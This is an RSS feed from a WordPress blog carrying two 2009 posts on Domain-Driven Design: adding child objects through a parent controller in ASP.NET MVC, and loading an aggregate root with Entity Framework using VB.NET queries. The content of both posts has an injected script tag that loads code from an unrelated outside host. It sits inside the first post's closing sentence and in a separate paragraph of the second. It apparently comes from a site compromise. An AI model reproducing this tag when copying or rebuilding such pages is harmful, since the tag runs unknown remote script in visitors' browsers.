<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Eric Polerecky &#187; DDD</title>
	<atom:link href="http://eric.polerecky.com/archives/category/ddd/feed/" rel="self" type="application/rss+xml" />
	<link>http://eric.polerecky.com</link>
	<description>An outlet for my obsession with technology</description>
	<lastBuildDate>Mon, 14 Jun 2010 14:00:00 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>DDD and ASP.NET MVC</title>
		<link>http://eric.polerecky.com/archives/ddd-and-aspnet-mvc/</link>
		<comments>http://eric.polerecky.com/archives/ddd-and-aspnet-mvc/#comments</comments>
		<pubDate>Sun, 17 May 2009 16:03:35 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[DDD]]></category>
		<category><![CDATA[mvc]]></category>
		<category><![CDATA[ASP.NET MVC]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/ddd-and-aspnet-mvc/</guid>
		<description><![CDATA[<br/>I find myself adding child objects within their parents control. For example; if I was going to add a child. I would call the parents controllers addChild action.
/parent/addChild/2
In this case 2 would be the id of the parent that I wanted to add a child to.
Doing it this way I don&#8217;t have to keep an


No related posts.]]></description>
			<content:encoded><![CDATA[<br/><p>I find myself adding child objects within their parents control. For example; if I was going to add a child. I would call the parents controllers addChild action.</p>
<p>/parent/addChild/2</p>
<p>In this case 2 would be the id of the parent that I wanted to add a child to.</p>
<p>Doing it this way I don&#8217;t have to keep an internal track of which parent the user wants to add a child to.</p>
<p>For example /child/create does not tell me what parent I am going to associate the child with. In this scenario I would have to put the parent ID in session or something first.</p>
<p>Not sure if what I am doing is &#8220;right&#8221;&#8230;.I think so.<script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/ddd-and-aspnet-mvc/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Entity Framework, Aggregate Root, One-to-Many &amp; DDD</title>
		<link>http://eric.polerecky.com/archives/entity-framework-aggregate-root-one-to-many-ddd/</link>
		<comments>http://eric.polerecky.com/archives/entity-framework-aggregate-root-one-to-many-ddd/#comments</comments>
		<pubDate>Thu, 30 Apr 2009 15:22:35 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[DDD]]></category>
		<category><![CDATA[Entity Framework]]></category>
		<category><![CDATA[Aggregate Root]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/entity-framework-aggregate-root-one-to-many-ddd/</guid>
		<description><![CDATA[<br/>I’m really digging the DDD Aggregate root design pattern and thought it would be good to create an example of using EF to pull a root from the persistence layer (database).
My database:
 
In my little database prjects have releases and stories. releases have sprints and stories and stories have tasks. My root is a project.


No related posts.]]></description>
			<content:encoded><![CDATA[<br/><p>I’m really digging the DDD <a href="http://www.lostechies.com/blogs/jimmy_bogard/archive/2008/05/20/entities-value-objects-aggregates-and-roots.aspx" target="_blank">Aggregate root</a> <a href="http://devlicio.us/blogs/casey/archive/2009/02/16/ddd-aggregates-and-aggregate-roots.aspx" target="_blank">design pattern</a> and thought it would be good to create an example of using EF to pull a root from the persistence layer (database).</p>
<h4>My database:</h4>
<p><a href="http://eric.polerecky.com/wp-content/uploads/2009/04/image.png"><img title="image" style="border-right: 0px; border-top: 0px; display: inline; border-left: 0px; border-bottom: 0px" height="484" alt="image" src="http://eric.polerecky.com/wp-content/uploads/2009/04/image-thumb.png" width="487" border="0" /></a> </p>
<p>In my little database prjects have releases and stories. releases have sprints and stories and stories have tasks. My root is a project. </p>
<p>&#160;</p>
<h4>My model (EF)</h4>
<p><a href="http://eric.polerecky.com/wp-content/uploads/2009/04/image1.png"><img title="image" style="border-right: 0px; border-top: 0px; display: inline; border-left: 0px; border-bottom: 0px" height="159" alt="image" src="http://eric.polerecky.com/wp-content/uploads/2009/04/image-thumb1.png" width="644" border="0" /></a> </p>
<p>A method for pulling the root:</p>
<p>Its important to note that child objects must be included in the query. ex: Include(&quot;Stories.Tasks&quot;) will get the tasks.</p>
<p><strong>All the projects</strong></p>
<p>Dim _entities As Entities.EntityFrameworkEntities = New Entities.EntityFrameworkEntitiesReturn    <br />_entities.Projects().Include(&quot;Releases&quot;).Include(&quot;Stories&quot;).Include(&quot;Stories.Tasks&quot;)</p>
<p><strong>A specific project. </strong></p>
<p>Function GetById(ByVal Id As Integer) As Entities.Projects&#160;&#160;&#160;&#160;&#160;&#160;&#160; <br /> Return _entities.Projects().Include(&quot;Releases&quot;).Include(&quot;Stories&quot;).Include(&quot;Stories.Tasks&quot;).Where(Function(p) p.ProjectId = Id).FirstOrDefault    <br />End Function</p>
<style type="text/css">
.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/entity-framework-aggregate-root-one-to-many-ddd/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
